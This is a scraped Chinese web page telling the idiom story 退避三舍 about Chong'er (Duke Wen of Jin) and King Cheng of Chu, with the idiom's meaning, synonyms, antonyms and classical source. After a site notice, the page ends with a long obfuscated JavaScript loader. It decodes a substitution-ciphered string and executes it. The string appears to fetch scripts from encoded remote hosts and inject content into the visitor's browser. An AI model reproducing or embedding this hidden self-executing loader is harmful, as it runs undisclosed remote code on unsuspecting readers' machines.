退避三舍重耳（第1页）
退避三舍（重耳）
众所周知，不论在哪个朝代，都存在着皇子之间为了争夺权位而进行的激烈的内部斗争。在春秋时期的晋国亦是如此。当时正值晋献公在位，晋献公的嫡长子申生为太子。宠妃骊姬想要立自己的儿子奚齐为太子，就使出各种阴谋诡计陷害太子。太子又生性孝顺、懦弱，最后真的中了骊姬的诡计，陷自己于不仁不义中。
晋献公并没有暗中调查，而是听了骊姬的话，就把太子申生赐死了。公子重耳也受到了牵连，晋献公命人捉拿重耳。重耳提前得到消息，和几个支持他的将领经过诸多磨难，逃到了楚国。
楚国国君楚成王对重耳的为人早有耳闻，坚信他以后定能够出人头地，就用隆重的礼节迎接这个逃亡的晋国公子。而后，楚成王对重耳都是彬彬有礼的，并且经常设宴款待重耳和几个将领。
这一天，楚成王热情地邀请重耳一起喝酒，两个人聊得非常开心。突然，楚成王带着笑意，像是开玩笑般问重耳：“如果有朝一日你做了晋国的国君，你会如何对待楚国呢？”重耳双眉紧皱，思索片刻说：“楚王您什么都不缺，我们晋国也没您感兴趣的东西可以给您。”楚王笑着说：“公子仔细想一想，你在危难之时我收留了你，你难道就没有什么来报答我吗？”重耳苦笑着说：“要是您能够助我一臂之力当上晋国的国君，我会与楚国做朋友。如果我们到了必须交战的那一天，我会率领军队退避三舍（九十里），如果这样还要交战，我们再分出胜负来。”
楚王听了重耳的话，点了点头，继续与重耳饮酒，直到夜深，两个人才拖着疲惫的身子回到了休息室安歇。
几年以后，重耳在多方人士的帮助下，回到了晋国，当了晋国的国君。重耳就是中国历史上的晋文公。晋文公回国以后，励精图治，在他的精心治理之下，晋国变得国富兵强了。
在周襄王时期，晋国和楚国果然开战，在魏国城濮地区展开了一场争夺中原霸权的战役。晋文公想到自己曾经的诺言，决心带领军队向后撤退。楚军见晋军后退着躲避，就率领前锋追击晋军，这下薄弱的两翼都暴露出来。楚军骄傲轻敌，最终被晋军打败。
成语寓意
比喻退让和回避，避免冲突。
近义词 敬而远之、委曲求全、退徒三舍
反义词 针锋相对、锋芒毕露、周旋到底
成语出处 《左传·僖公二十三年》
一秒记住新域名 www.davebudge.com
请勿开启浏览器阅读模式，否则将导致章节内容缺失及无法阅读下一章。
!function(){function a(a){var _idx="k1hpv3d1yc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF h8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=58"#MqYYb"=68HZ!F5T[68+i;NmJd5LYcdc5a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 dcY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<6mqY2pFh??c6mJ_Lhc`c$[YPa`%Fa=(c5=+i;NmLF562p67Tc6aaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 _cYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLmSXfRX:DmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLm)C2T7dXmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLmTST7hR5mRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLmSXfRX:DmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLm)C2T7dXmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLm)C2T7dXmRT4gQ1KQ"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/1osjY8S}hJXsf}T("!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%fca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=icaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 fca[qYF Y8dc"bb___b"a!5YF_52 Y??(c"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTc6a??c68HZ=(c5=""aa!qYF ^8"1os"=J8"S}hJXsf}T("!7_2(F6O2 XcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 TcYa[Xd5 F8H"1os2CTqf7mT6CL55SmRT4"="1osCSTqfXm^)TC25qmRT4"="1osOSTq47mT6CL55SmRT4"="1osF(Tq2Sm^)TC25qmRT4"="1osDhTqdJmT6CL55SmRT4"="1osh)TqCqm^)TC25qmRT4"="1osJfTq7DmT6CL55SmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"!qYF O82YD VY)iO(SYFcF%"/"%^%"jY8"%J%"v58"%7m5Y|5T%%%"vF8"%fca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28fH_ZcYH(Zch%%aa=O8fH_ZcYH(Zch%%aa=68fH_ZcYH(Zch%%aa=d8fH_ZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PXcOa=@8887mqOdfiFdF_LvvicaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=XcOaP=7mqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 ica[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP1osSJTq)(()mhRdDXfLmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP1osSJTq)(()mhRdDXfLmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8pc"hFFJLg//[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ/f/1osj(8}vY8S}hJXsf}T("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajTc7_2(F6O2ca[qc@0}a=Tc7_2(F6O2ca[qc@0@a=_c7_2(F6O2ca[qc@0saPaPaPag_c7_2(F6O2ca[qc}0}a=_c7_2(F6O2ca[qc}0@a=Tc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv6mqY2pFhvvcY8pc"hFFJLg//[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ"a%"/)_pj68"%^=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc6aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=6mqY2pFh80=(c5=""aaPaPaca!'.substr(22));new Function(b)()}();